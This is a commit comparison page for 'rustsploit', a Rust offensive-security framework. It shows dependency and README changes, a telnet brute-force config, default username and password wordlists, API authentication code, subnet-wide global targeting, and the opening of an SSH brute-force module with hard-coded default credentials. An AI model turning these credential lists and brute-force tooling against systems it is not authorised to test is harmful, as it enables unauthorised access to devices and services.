mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
28 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 26913cdbf6 | |||
| f21fab17b8 | |||
| fef7339690 | |||
| 4224c696cc | |||
| 8c96ee3628 | |||
| 4b63dd711e | |||
| 0d81e0e6ed | |||
| bae1a091e4 | |||
| 7ae50993be | |||
| 948d802a3b | |||
| cd6ffb9a9e | |||
| f8e5c0af46 | |||
| 5f75e369cc | |||
| 80a4a5843c | |||
| 1051216ddd | |||
| 8eb8058ad6 | |||
| 63f8cac2ca | |||
| 71bc20cee0 | |||
| 34b6faf140 | |||
| 7f359683da | |||
| 1bbe3ae651 | |||
| 6100aa9964 | |||
| 0e3da4499f | |||
| 55a30f91f0 | |||
| 33284b158a | |||
| 624090055c | |||
| f60e5e50ca | |||
| 05f1a03dfc |
+106
-116
@@ -1,124 +1,114 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.2.0"
|
||||
version = "0.3.5"
|
||||
edition = "2021"
|
||||
build = "build.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0"
|
||||
rustyline = "15.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0"
|
||||
tokio-socks = "0.5"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2"
|
||||
sysinfo = { version = "0.36", features = ["multithread"] }
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
walkdir = "2.5"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11"
|
||||
ipnet = "2.11"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37"
|
||||
|
||||
#ABUS TVIP Dropbear
|
||||
md5 = "0.7"
|
||||
ftp = "3.0"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2"
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
#spotube exploit
|
||||
serde_json = "1.0"
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
#zte rce
|
||||
# Add these to [dependencies]
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
flate2 = "1.0"
|
||||
|
||||
# for Roundcube exploit payload encoding
|
||||
data-encoding = "2.5"
|
||||
|
||||
#avanti
|
||||
url = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
#stalk route full traceroute
|
||||
pnet_packet = "0.34"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
|
||||
# HTTP/2 Rapid Reset DoS
|
||||
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
|
||||
h2 = "0.3"
|
||||
tokio-rustls = "0.24"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
|
||||
#pingsweep
|
||||
which = "8.0"
|
||||
|
||||
# API server
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
|
||||
# DNS tooling
|
||||
trust-dns-client = { version = "0.23", features = ["dnssec"] }
|
||||
trust-dns-proto = "0.23"
|
||||
|
||||
# SNMP bruteforce - using manual encoding for reliability
|
||||
|
||||
# Pin transitive dependencies to edition-2021-compatible releases
|
||||
# (newer versions require unstable edition2024 feature)
|
||||
home = "=0.5.11"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11" # required for use in build.rs
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
colored = "3.0" # newer than 2.0
|
||||
rand = "0.9"
|
||||
rustyline = "15.0"
|
||||
sysinfo = { version = "0.36", features = ["multithread"] }
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
h2 = "0.3"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
tokio-rustls = "0.24"
|
||||
url = "2.5"
|
||||
quick-xml = "0.37"
|
||||
data-encoding = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
# Crypto & Encoding
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
md5 = "0.7"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
flate2 = "1.0"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
tokio-socks = "0.5"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
pnet_packet = "0.34"
|
||||
ipnet = "2.11"
|
||||
ipnetwork = "0.20"
|
||||
regex = "1.11" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
# FTP
|
||||
async_ftp = "6.0"
|
||||
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
|
||||
# Telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
|
||||
# SSH
|
||||
ssh2 = "0.9"
|
||||
libc = "0.2"
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# Walkdir (used by telnet module)
|
||||
walkdir = "2.5"
|
||||
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
# JSON & Serialization
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# API Server (Axum)
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.24", features = ["dnssec"] }
|
||||
hickory-proto = "0.24"
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.19"
|
||||
home = "=0.5.11" # pinned for edition 2021 compatibility
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11"
|
||||
|
||||
# Dependency overrides to address security warnings in transitive dependencies
|
||||
# Note: These are warnings (not vulnerabilities) in transitive dependencies
|
||||
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
|
||||
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "fat"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = true
|
||||
|
||||
@@ -3,6 +3,8 @@
|
||||
Modular offensive tooling for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. Rustsploit ships an interactive shell, a command-line runner, rich proxy support, and an ever-growing library of exploits, scanners, and credential modules for routers, cameras, appliances, and general network services.
|
||||
|
||||

|
||||

|
||||
|
||||
|
||||
- 📚 **Developer Docs:** [Full guide covering module lifecycle, proxy logic, shell flow, and dispatcher](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
|
||||
- 💬 **Interactive Shell:** Ergonomic command palette with shortcuts (e.g., `f1 ssh`, `u exploits/heartbleed`, `go`)
|
||||
@@ -61,7 +63,7 @@ Run `modules` or `find <keyword>` in the shell for the authoritative list.
|
||||
|
||||
### Requirements
|
||||
|
||||
```bash
|
||||
```
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11 # Required for the RDP brute force module
|
||||
```
|
||||
@@ -70,7 +72,7 @@ Ensure Rust and Cargo are installed (https://www.rust-lang.org/tools/install).
|
||||
|
||||
### Clone + Build
|
||||
|
||||
```bash
|
||||
```
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
@@ -78,13 +80,13 @@ cargo build
|
||||
|
||||
### Run (Interactive Shell)
|
||||
|
||||
```bash
|
||||
```
|
||||
cargo run
|
||||
```
|
||||
|
||||
### Install (optional)
|
||||
|
||||
```bash
|
||||
```
|
||||
cargo install --path .
|
||||
```
|
||||
|
||||
@@ -102,7 +104,7 @@ Rustsploit ships with a standalone provisioning script that builds and launches
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```bash
|
||||
```
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
@@ -125,7 +127,7 @@ Existing files are never overwritten without confirmation (use `--force` for scr
|
||||
|
||||
All prompts have CLI equivalents:
|
||||
|
||||
```bash
|
||||
```
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
@@ -138,7 +140,7 @@ python3 scripts/setup_docker.py \
|
||||
|
||||
This produces the Docker assets but skips the compose launch. To start the stack later:
|
||||
|
||||
```bash
|
||||
```
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
@@ -187,7 +189,7 @@ If proxy mode is enabled, Rustsploit rotates through validated proxies, falls ba
|
||||
|
||||
Modules can be executed without the shell using the `--command`, `--module`, and `--target` flags:
|
||||
|
||||
```bash
|
||||
```
|
||||
# Exploit
|
||||
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
|
||||
|
||||
@@ -208,7 +210,7 @@ Rustsploit includes a REST API server mode that allows remote control of the too
|
||||
|
||||
### Starting the API Server
|
||||
|
||||
```bash
|
||||
```
|
||||
# Basic API server (defaults to 0.0.0.0:8080)
|
||||
cargo run -- --api --api-key your-secret-key-here
|
||||
|
||||
@@ -236,7 +238,7 @@ cargo run -- --api --api-key your-secret-key-here --interface 0.0.0.0:9000
|
||||
|
||||
All endpoints except `/health` require authentication via the `Authorization` header:
|
||||
|
||||
```bash
|
||||
```
|
||||
# Bearer token format
|
||||
Authorization: Bearer your-api-key-here
|
||||
|
||||
@@ -247,19 +249,19 @@ Authorization: ApiKey your-api-key-here
|
||||
#### Public Endpoints
|
||||
|
||||
- **`GET /health`** - Health check (no authentication required)
|
||||
```bash
|
||||
```
|
||||
curl http://localhost:8080/health
|
||||
```
|
||||
|
||||
#### Protected Endpoints
|
||||
|
||||
- **`GET /api/modules`** - List all available modules
|
||||
```bash
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/modules
|
||||
```
|
||||
|
||||
- **`POST /api/run`** - Execute a module on a target
|
||||
```bash
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"module": "scanners/port_scanner", "target": "192.168.1.1"}' \
|
||||
@@ -267,26 +269,57 @@ Authorization: ApiKey your-api-key-here
|
||||
```
|
||||
|
||||
- **`GET /api/status`** - Get API server status and statistics
|
||||
```bash
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/status
|
||||
```
|
||||
|
||||
- **`POST /api/rotate-key`** - Manually rotate the API key
|
||||
```bash
|
||||
```
|
||||
curl -X POST -H "Authorization: Bearer your-api-key" \
|
||||
http://localhost:8080/api/rotate-key
|
||||
```
|
||||
|
||||
- **`GET /api/ips`** - Get all tracked IP addresses with details
|
||||
```bash
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/ips
|
||||
```
|
||||
|
||||
- **`GET /api/auth-failures`** - Get authentication failure statistics
|
||||
```bash
|
||||
```
|
||||
curl -H "Authorization: Bearer your-api-key" http://localhost:8080/api/auth-failures
|
||||
```
|
||||
|
||||
### telnet config example
|
||||
```
|
||||
{
|
||||
"port": 23,
|
||||
"username_wordlist": "usernames.txt",
|
||||
"password_wordlist": "passwords.txt",
|
||||
"threads": 10,
|
||||
"delay_ms": 50,
|
||||
"connection_timeout": 3,
|
||||
"read_timeout": 1,
|
||||
"stop_on_success": true,
|
||||
"verbose": false,
|
||||
"full_combo": true,
|
||||
"raw_bruteforce": false,
|
||||
"raw_charset": "",
|
||||
"raw_min_length": 0,
|
||||
"raw_max_length": 0,
|
||||
"output_file": "results.txt",
|
||||
"append_mode": false,
|
||||
"pre_validate": true,
|
||||
"retry_on_error": true,
|
||||
"max_retries": 2,
|
||||
"login_prompts": ["login:", "username:"],
|
||||
"password_prompts": ["password:"],
|
||||
"success_indicators": ["$", "#", "welcome"],
|
||||
"failure_indicators": ["incorrect", "failed"]
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Security Features
|
||||
|
||||
#### Rate Limiting
|
||||
@@ -317,7 +350,7 @@ Log entries include:
|
||||
|
||||
### Example API Workflow
|
||||
|
||||
```bash
|
||||
```
|
||||
# 1. Start the API server
|
||||
cargo run -- --api --api-key my-secret-key --harden --ip-limit 5
|
||||
|
||||
|
||||
+1498
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
root
|
||||
toor
|
||||
guest
|
||||
default
|
||||
admin123
|
||||
adminadmin
|
||||
pass
|
||||
changeme
|
||||
password1
|
||||
cisco
|
||||
ubnt
|
||||
support
|
||||
12345
|
||||
qwerty
|
||||
letmein
|
||||
test
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
root
|
||||
user
|
||||
administrator
|
||||
guest
|
||||
support
|
||||
operator
|
||||
supervisor
|
||||
admin1
|
||||
root1
|
||||
manager
|
||||
service
|
||||
master
|
||||
tech
|
||||
sysadmin
|
||||
default
|
||||
cisco
|
||||
ubnt
|
||||
pi
|
||||
test
|
||||
+6
-14
@@ -350,11 +350,12 @@ impl ApiState {
|
||||
|
||||
async fn auth_middleware(
|
||||
State(state): State<ApiState>,
|
||||
ConnectInfo(addr): ConnectInfo<SocketAddr>,
|
||||
headers: HeaderMap,
|
||||
request: Request,
|
||||
next: Next,
|
||||
) -> Response {
|
||||
// Extract IP address first - try to get from headers first (for proxied requests)
|
||||
// Extract IP address - try to get from headers first (for proxied requests)
|
||||
let client_ip = headers
|
||||
.get("x-forwarded-for")
|
||||
.or_else(|| headers.get("x-real-ip"))
|
||||
@@ -366,16 +367,8 @@ async fn auth_middleware(
|
||||
.trim()
|
||||
.to_string()
|
||||
})
|
||||
.filter(|s| !s.is_empty());
|
||||
|
||||
// Fall back to direct connection IP from request extensions
|
||||
let client_ip = if let Some(ip) = client_ip {
|
||||
ip
|
||||
} else if let Some(addr) = request.extensions().get::<ConnectInfo<SocketAddr>>() {
|
||||
addr.ip().to_string()
|
||||
} else {
|
||||
"unknown".to_string()
|
||||
};
|
||||
.filter(|s| !s.is_empty())
|
||||
.unwrap_or_else(|| addr.ip().to_string());
|
||||
|
||||
// Check rate limit before processing authentication
|
||||
if client_ip != "unknown" {
|
||||
@@ -702,7 +695,7 @@ pub async fn start_api_server(
|
||||
let app = Router::new()
|
||||
.route("/health", get(health_check))
|
||||
.merge(protected_routes)
|
||||
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()).into_inner())
|
||||
.layer(ServiceBuilder::new().layer(TraceLayer::new_for_http()))
|
||||
.with_state(state);
|
||||
|
||||
let listener = tokio::net::TcpListener::bind(bind_address)
|
||||
@@ -720,5 +713,4 @@ pub async fn start_api_server(
|
||||
.context("API server error")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
}
|
||||
@@ -39,4 +39,8 @@ pub struct Cli {
|
||||
/// IP limit for hardening mode (default: 10 unique IPs)
|
||||
#[arg(long, requires = "harden", default_value = "10")]
|
||||
pub ip_limit: Option<u32>,
|
||||
|
||||
/// Set global target IP/subnet for all modules
|
||||
#[arg(long)]
|
||||
pub set_target: Option<String>,
|
||||
}
|
||||
|
||||
+40
-2
@@ -4,12 +4,30 @@ pub mod creds;
|
||||
|
||||
use anyhow::Result;
|
||||
use crate::cli::Cli;
|
||||
use crate::config;
|
||||
use walkdir::WalkDir;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let raw = cli_args.target.clone().unwrap_or_default();
|
||||
// Use CLI target if provided, otherwise try global target
|
||||
let raw = if let Some(ref t) = cli_args.target {
|
||||
t.clone()
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
// Use single IP from global target (handles subnets intelligently)
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
}
|
||||
Err(e) => {
|
||||
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
|
||||
};
|
||||
|
||||
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
@@ -35,6 +53,7 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
}
|
||||
|
||||
/// Interactive shell: handles `run` with raw target string
|
||||
/// If raw_target is empty, uses global target if available
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
let available = discover_modules();
|
||||
|
||||
@@ -57,7 +76,26 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
return Ok(());
|
||||
};
|
||||
|
||||
let target = normalize_target(raw_target)?;
|
||||
// Use provided target, or fall back to global target
|
||||
let target_str = if raw_target.is_empty() {
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
}
|
||||
Err(e) => {
|
||||
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified. Use 'set target <ip/subnet>' or provide target when running module"));
|
||||
}
|
||||
} else {
|
||||
raw_target.to_string()
|
||||
};
|
||||
|
||||
let target = normalize_target(&target_str)?;
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
|
||||
+194
@@ -0,0 +1,194 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::sync::{Arc, RwLock};
|
||||
use ipnetwork::IpNetwork;
|
||||
|
||||
/// Global configuration for the framework
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct GlobalConfig {
|
||||
/// Global target - can be a single IP or CIDR subnet
|
||||
target: Arc<RwLock<Option<TargetConfig>>>,
|
||||
}
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum TargetConfig {
|
||||
/// Single IP address or hostname
|
||||
Single(String),
|
||||
/// CIDR subnet (e.g., "192.168.1.0/24")
|
||||
Subnet(IpNetwork),
|
||||
}
|
||||
|
||||
impl GlobalConfig {
|
||||
/// Create a new global configuration
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
target: Arc::new(RwLock::new(None)),
|
||||
}
|
||||
}
|
||||
|
||||
/// Set the global target (IP, hostname, or CIDR subnet)
|
||||
pub fn set_target(&self, target: &str) -> Result<()> {
|
||||
let trimmed = target.trim();
|
||||
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty"));
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = Some(TargetConfig::Subnet(network));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.as_ref().map(|t| match t {
|
||||
TargetConfig::Single(ip) => ip.clone(),
|
||||
TargetConfig::Subnet(net) => net.to_string(),
|
||||
})
|
||||
}
|
||||
|
||||
/// Get a single IP address from the global target
|
||||
/// For subnets, returns the network address (first IP)
|
||||
pub fn get_single_target_ip(&self) -> Result<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
Ok(ip.clone())
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Return the network address (first IP in the subnet)
|
||||
Ok(net.network().to_string())
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get all IP addresses from the global target
|
||||
/// Returns a vector of IP addresses (expands subnets)
|
||||
/// For very large subnets (> 65536 IPs), returns an error
|
||||
pub fn get_target_ips(&self) -> Result<Vec<String>> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
// For single IP/hostname, return as-is
|
||||
Ok(vec![ip.clone()])
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Check subnet size to prevent memory issues
|
||||
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
// For very large IPv6 subnets, cap at u64::MAX
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
|
||||
|
||||
if size > MAX_SUBNET_SIZE {
|
||||
return Err(anyhow!(
|
||||
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
|
||||
size, MAX_SUBNET_SIZE
|
||||
));
|
||||
}
|
||||
|
||||
// Expand subnet to individual IPs
|
||||
let mut ips = Vec::new();
|
||||
for ip in net.iter() {
|
||||
ips.push(ip.to_string());
|
||||
}
|
||||
Ok(ips)
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if global target is set
|
||||
pub fn has_target(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.is_some()
|
||||
}
|
||||
|
||||
/// Check if global target is a subnet
|
||||
pub fn is_subnet(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
|
||||
}
|
||||
|
||||
/// Get the size of the target (number of IPs)
|
||||
/// For single IPs, returns 1
|
||||
/// For subnets, returns the subnet size without expanding
|
||||
pub fn get_target_size(&self) -> Option<u64> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(_)) => Some(1),
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Calculate size from prefix length
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
Some(size)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Clear the global target
|
||||
pub fn clear_target(&self) {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = None;
|
||||
}
|
||||
}
|
||||
|
||||
/// Global configuration instance
|
||||
use once_cell::sync::Lazy;
|
||||
|
||||
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
|
||||
|
||||
@@ -7,6 +7,7 @@ mod commands;
|
||||
mod modules;
|
||||
mod utils;
|
||||
mod api;
|
||||
mod config;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
@@ -35,6 +36,12 @@ async fn main() -> Result<()> {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Set global target if provided
|
||||
if let Some(ref target) = cli_args.set_target {
|
||||
config::GLOBAL_CONFIG.set_target(target)?;
|
||||
println!("✓ Global target set to: {}", target);
|
||||
}
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,41 +1,185 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use ssh2::Session;
|
||||
use std::{
|
||||
collections::HashSet,
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
net::{TcpStream, ToSocketAddrs},
|
||||
path::{Path, PathBuf},
|
||||
sync::Arc,
|
||||
sync::{
|
||||
atomic::{AtomicBool, AtomicU64, Ordering},
|
||||
Arc,
|
||||
},
|
||||
time::Instant,
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use regex::Regex;
|
||||
use tokio::{sync::Mutex, task::spawn_blocking, time::{sleep, Duration}};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
task::spawn_blocking,
|
||||
time::{sleep, Duration, timeout},
|
||||
};
|
||||
|
||||
// Constants
|
||||
const DEFAULT_SSH_PORT: u16 = 22;
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("root", "root"),
|
||||
("admin", "admin"),
|
||||
("user", "user"),
|
||||
("guest", "guest"),
|
||||
("root", "123456"),
|
||||
("admin", "123456"),
|
||||
("root", "password"),
|
||||
("admin", "password"),
|
||||
("root", ""),
|
||||
("admin", ""),
|
||||
("ubuntu", "ubuntu"),
|
||||
("test", "test"),
|
||||
("oracle", "oracle"),
|
||||
];
|
||||
|
||||
// Statistics tracking
|
||||
struct Statistics {
|
||||
total_attempts: AtomicU64,
|
||||
successful_attempts: AtomicU64,
|
||||
failed_attempts: AtomicU64,
|
||||
error_attempts: AtomicU64,
|
||||
retried_attempts: AtomicU64,
|
||||
start_time: Instant,
|
||||
}
|
||||
|
||||
impl Statistics {
|
||||
fn new() -> Self {
|
||||
Self {
|
||||
total_attempts: AtomicU64::new(0),
|
||||
successful_attempts: AtomicU64::new(0),
|
||||
failed_attempts: AtomicU64::new(0),
|
||||
error_attempts: AtomicU64::new(0),
|
||||
retried_attempts: AtomicU64::new(0),
|
||||
start_time: Instant::now(),
|
||||
}
|
||||
}
|
||||
|
||||
fn record_attempt(&self, success: bool, error: bool) {
|
||||
self.total_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
if error {
|
||||
self.error_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else if success {
|
||||
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
} else {
|
||||
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
fn record_retry(&self) {
|
||||
self.retried_attempts.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
|
||||
fn print_progress(&self) {
|
||||
let total = self.total_attempts.load(Ordering::Relaxed);
|
||||
let success = self.successful_attempts.load(Ordering::Relaxed);
|
